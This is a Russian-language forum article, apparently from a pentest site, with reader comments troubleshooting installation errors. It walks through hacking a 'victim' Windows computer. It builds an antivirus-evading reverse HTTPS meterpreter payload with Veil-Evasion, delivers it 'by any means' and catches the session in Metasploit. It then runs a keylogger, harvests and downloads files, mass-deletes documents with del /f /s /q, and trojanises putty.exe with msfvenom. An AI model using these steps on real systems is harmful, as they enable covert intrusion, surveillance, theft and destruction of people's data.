РАЗБОР Pentest Статья

Обход защиты удаленных систем: Veil-Evasion и Metasploit для продвинутых техник тестирования на проникновение

Vander
Vander CodebyTeam · 1,4 тыс. сообщений
Подписаться
138,6 тыс.
[ обложка статьи ]
Режим чтения
В этой статье, будет подробно описан взлом удаленного компьютера с использованием Kali Linux, Veil-Evasion, Metasploit.

UPDATE:
Поддержка Veil-Evasion закончилась, рекомендуется использовать фреймворк Veil.
https://codeby.net/threads/veil-framework.60978/


Ниже представлена схема, по которой будет осуществляться проникновение.

upload_2016-7-26_15-33-33.png


Необходимые ресурсы:
1. Kali Linux (Я использовал Kali GNU/Linux Rolling)

2. Статический белый IP (В моем случае Kali находится за NAT роутера с статическим адресом. Подключение к нашей машине извне будут идти на 443 порт. (В роутере он проброшен на локальный адрес Kali.) Использующие динамический адрес могут использовать DyDNS. (Не пробовал, но должно работать)
3. Veil-Evasion – фреймворк, с помощью которого мы попытаемся обойти антивирус, создадим файл с полезной нагрузкой в формате .exe.

Для начала необходимо установить Veil-Evasion. Чтобы программа создавала корректно работающие файлы, не рекомендую установку apt-get install Veil-Evasion. Фреймворк нужно клонировать c github.com.
Выполните в терминале следующее:
Код:
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
Следим за установкой, соглашаемся и все устанавливаем.

Запускаем файл Veil-Evasion.py из терминала или из папки /root/Veil-Evasion.

upload_2016-7-26_15-34-5.png


Далее вводим команду list – она покажет список доступных payload.

upload_2016-7-26_15-34-57.png


Нас интересует номер 32 – python/meterpreter/reverse_https

Вводим - use 32

upload_2016-7-26_15-35-15.png


Задаем опции будущему файлу, вводим последовательно следующие команды:

set LHOST 83.199.12.XXX (Ваш публичный IP)

set LPORT 443 (По умолчанию HTTPS URL использует 443 TCP-порт (для незащищённого HTTP — 80).

set USE_PYHERION Y (используем энкриптор)

generate (создаем .exe файл)

Вводим имя создаваемого файла.

Выбираем вторую строку, жмем 2.

upload_2016-7-26_15-35-36.png


Ждем успешной генерации файла.

upload_2016-7-26_15-35-57.png


Созданный файл любым путем доставляем на компьютер жертвы. Весит немного, стандартными антивирусами Win7, Win8.1, Win10 не определялся.

Выходим из Veil-Evasion.

Запускаем Metasploit.
#msfconsole

Далее
Код:
msf > use multi/handler
msf exploit (handler) > set payload windows/meterpreter/reverse_https
msf exploit (handler) > set LHOST (свой внутренний IP)
msf exploit (handler)  > set LPORT 443
msf exploit (handler) >exploit
Когда файл на компьютере жертвы будет запущен, вы увидите что открылась сессия meterpreter>.

upload_2016-7-26_15-37-23.png


Сразу советую мигрировать в другой процесс т.к. файл могут удалить, процесс завершится и т.д.

Делается это так, вводим:
ps – отобразится список активных процессов. Находим , например, explorer, смотрим его PID.

migrate (PID процесса).
Migration completed successfully.
Успех. Теперь необходимо повысить права в системе, команда:
getsystem (срабатывает не всегда.)
В целом поможет разобраться стандартная команда help.
Ниже пару моментов которые помогут быстрее освоиться в системе.

1. Кейлоггер
meterpreter > bgrun keylogrecorder

[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.ххх.ххх_20111024.4455.txt #адрес лога
[*] Recording

meterpreter > bgkill 2 #отключаем кейлогер
[*] Killing background job 2...

2. Скрипт File_collector – позволит создавать список файлов имеющихся в определенном каталоге компьютера жертвы, редактировать его, и скачивать интересующие файлы себе.
Пример:
meterpreter > run file_collector -h
Затем создаем список файлов в одном каталоге:

run file_collector -r -d e:\\ -f * -o /root/ file.txt


Редактируем наш выходной файл, т.к. не все файлы нужны.
cat /root/file.txt | grep -v \DDD | grep -v \GCC | grep -v \GDB | grep -v \MAKE > file.lst


Скачиваем файлы на свой компьютер.

run file_collector -i /root /file.lst -l /root/

Полагаю не нужно обьяснять, что делают скрипты upload и download)

3. Используя скрипты scrapper и winenum можно собрать информацию о системе, которая сохранится на вашем локальном компьютере.

4. Удаление файлов. Команды вводятся в шелле.
Получаем его слудующим образом:
meterpreter >shell

Удаление файлов exe:
del e:\*.* /f /s /q

удаление файлов doc:
del e:\*.doc /f /s /q


удаление файлов pdf:
del e:\*.pdf /f /s /q


5. Командой приведенной ниже можно добавить payload в любой файл (определяется некоторыми антивирусами) При запуске на компьютере жертвы, откроется сессия meterpreter.

msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.1.101 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe

Краткое пояснение аргументов команды:
- a 86 - архитектура процессора.
--platform windows - тут понятно.
- x - указать пользовательский исполняемый файл для использования в качестве шаблона.
- k - сохранить поведение шаблона и ввести полезную нагрузку как новый поток.
- p - тип полезной нагрузки.
- e - тип енкодера.
- b - помечаем нулевой байт «плохим», то есть говорим, что его нужно избегать.
- f - формат выходного файла.

За пример взята putty находящаяся в директории /root.
LHOST и LPORT указываем свои.

Приведенный метод, хорошо справляется с взломом Win7, Win8, Win10, вопросы жду в комментариях. Если кто-то умеет криптовать файлы, интересно услышать его мнение.
Полезно · 46

Комментарии

352
  • Нравится
Реакции: 23.zaycev и serseryoga
2
Возникла проблема , во время запуска созданного payload -а ничего не происходит , то есть сессия в msf просто не открывается , с другими payload -ами всё работает , версия veil 2.28.1 , payload запускаю на win7
 
  • Нравится
Реакции: afalin
1
Возникла проблема , во время запуска созданного payload -а ничего не происходит , то есть сессия в msf просто не открывается , с другими payload -ами всё работает , версия veil 2.28.1 , payload запускаю на win7
Хм... порты указаны верно? и адрес? Пайлоад выбираете set payload windows/meterpreter/reverse_https ?
 
помогите пожалуйста,
если пишу:
Please enter the number of your choice: 1
то все работает, если 2 то выдаёт следущее
файл в папке есть.
Код:
[>] Please enter the base name for output files (default is 'payload'): 123

 [?] How would you like to create your payload executable?

  1 - Pyinstaller (default)
  2 - Pwnstaller (obfuscated Pyinstaller loader)
  3 - Py2Exe

 [>] Please enter the number of your choice: 2

=========================================================================
 Pwnstaller | [Version]: 1.0
=========================================================================
 [Web]: http://harmj0y.net/ | [Twitter]: @harmj0y
=========================================================================


 [*] Generating new runw source files...

Traceback (most recent call last):
  File "/root/Veil-Evasion/Veil-Evasion.py", line 339, in <module>
  controller.MainMenu(args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 875, in MainMenu
  self.outputFileName = self.PayloadMenu(self.payload, args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 806, in PayloadMenu
  return self.OutputMenu(payload, payloadCode, args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 612, in OutputMenu
  supportfiles.supportingFiles(self.payload, OutputFileName, {})
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 118, in supportingFiles
  generatePwnstaller()
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1473, in generatePwnstaller
  pwnstallerBuildSource()
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1411, in pwnstallerBuildSource
  f = open("./modules/common/source/common/utils.h", 'w')
IOError: [Errno 2] No such file or directory: './modules/common/source/common/utils.h'


root@root:~# /modules/common/source/common/utils.h'
> ^C
root@root:~# /modules/common/source/common/utils.h
bash: /modules/common/source/common/utils.h: Нет такого файла или каталога
root@root:~#
 
Попробуйте удалить Veil Evasion, затем сделать команду apt-get update -y && apt-get upgrade -y && apt-get dist-upgrade -y
Затем склонировать заново Veil и установить.
 
  • Нравится
Реакции: Scan
1
примерно тоже самое выдаёт. ставлю на обсалютно чистую кали линукс,, раньше ставил эту же систему всё нормально работало. может не хватает каких то программ, типо аддона для наутилуса? не понимаю в чём проблема, разрядность 64х, не понимаю в чём дело, файл опять же на месте, но программа его не находит, бред, уже голову сломал как такое вообще возможно, помогите пожалуйста
Код:
[*] Generating new runw source files...

Traceback (most recent call last):
  File "/root/Veil-Evasion/Veil-Evasion.py", line 339, in <module>
  controller.MainMenu(args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 875, in MainMenu
  self.outputFileName = self.PayloadMenu(self.payload, args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 806, in PayloadMenu
  return self.OutputMenu(payload, payloadCode, args=args)
  File "/root/Veil-Evasion/modules/common/controller.py", line 612, in OutputMenu
  supportfiles.supportingFiles(self.payload, OutputFileName, {})
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 118, in supportingFiles
  generatePwnstaller()
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1473, in generatePwnstaller
  pwnstallerBuildSource()
  File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1411, in pwnstallerBuildSource
  f = open("./modules/common/source/common/utils.h", 'w')
IOError: [Errno 2] No such file or directory: './modules/common/source/common/utils.h'
 
Последнее редактирование модератором:
но программа его не находит - Какая программа его не находит? Файл генерируется в /usr/share/veil-output?
 
какая программа - [*] Generating new runw source files... - No such file or directory - файл не найден...
я нуб, думаю, что "программа" генерирует файл и неможет найти его, если это не программа то, что это? извините..

файл генерируется в /usr/share/veil-output там несколько папок: (и файл - hashes.txt)
source - файлы в формате .py и один файл .bat
handlers - файлы в формате .rc
compiled - 1 удачно сгенерированный файл(при использовании опции 1 - Pyinstaller (default))
catapult - пусто

может ли быть так, что данная ошибка возникает после некорректной установки программ, которые устанавливаются после ввода команда - setup.sh -c

p.s.
если использую 3 - Py2Exe [>] Please enter the number of your choice: 3
выводит:
Код:
py2exe files 'setup.py' and 'runme.bat' written to:
/usr/share/veil-output/source/
[!] Internal error #2. Unable to generate output. Please run /usr/share/veil-output/config/update.py manually
после запуска update.py - все пайлоадсы изчезают...
Спасибо
 
Последнее редактирование модератором:
Когда ввожу setup.sh пишет, что команды не существует, что делать?
 
  • Нравится
Реакции: Mixa и Vitalya_FL
2
при попытках скомпилить payload выдает ЭТО:
err:module:import_dll Library pywintypes27.dll (which is needed by L"C:\\Python27\\lib\\site-packages\\win32\\win32api.pyd") not found
err:module:import_dll Library pywintypes27.dll (which is needed by L"C:\\Python27\\lib\\site-packages\\win32\\win32api.pyd") not found
Traceback (most recent call last):
File "/opt/veil/PyInstaller-3.2//pyinstaller.py", line 14, in <module>
from PyInstaller.__main__ import run
File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\__main__.py", line 21, in <module>
import PyInstaller.building.build_main
File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\building\build_main.py", line 32, in <module>
from ..depend import bindepend
File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\depend\bindepend.py", line 38, in <module>
from ..utils.win32.winmanifest import RT_MANIFEST
File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\utils\win32\winmanifest.py", line 97, in <module>
from PyInstaller.utils.win32 import winresource
File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\utils\win32\winresource.py", line 20, in <module>
import pywintypes
File "C:\Python27\lib\site-packages\win32\lib\pywintypes.py", line 124, in <module>
__import_pywin32_system_module__("pywintypes", globals())
File "C:\Python27\lib\site-packages\win32\lib\pywintypes.py", line 98, in __import_pywin32_system_module__
raise ImportError("No system module '%s' (%s)" % (modname, filename))
ImportError: No system module 'pywintypes' (pywintypes27.dll)

Кто сталкивался с такой бедой? и главное - как исправить?
 
Veil Evasion как устанавливали? С github?
 
Последнее редактирование:
Когда то подобную проблему фиксил по этой статье -https://github.com/Veil-Framework/Veil-Evasion/issues/95
 
  • Нравится
Реакции: veterok
1
Ребят, подскажите пожалуйста, порт 4444 он по дефолту открыт и как проверит его открытость?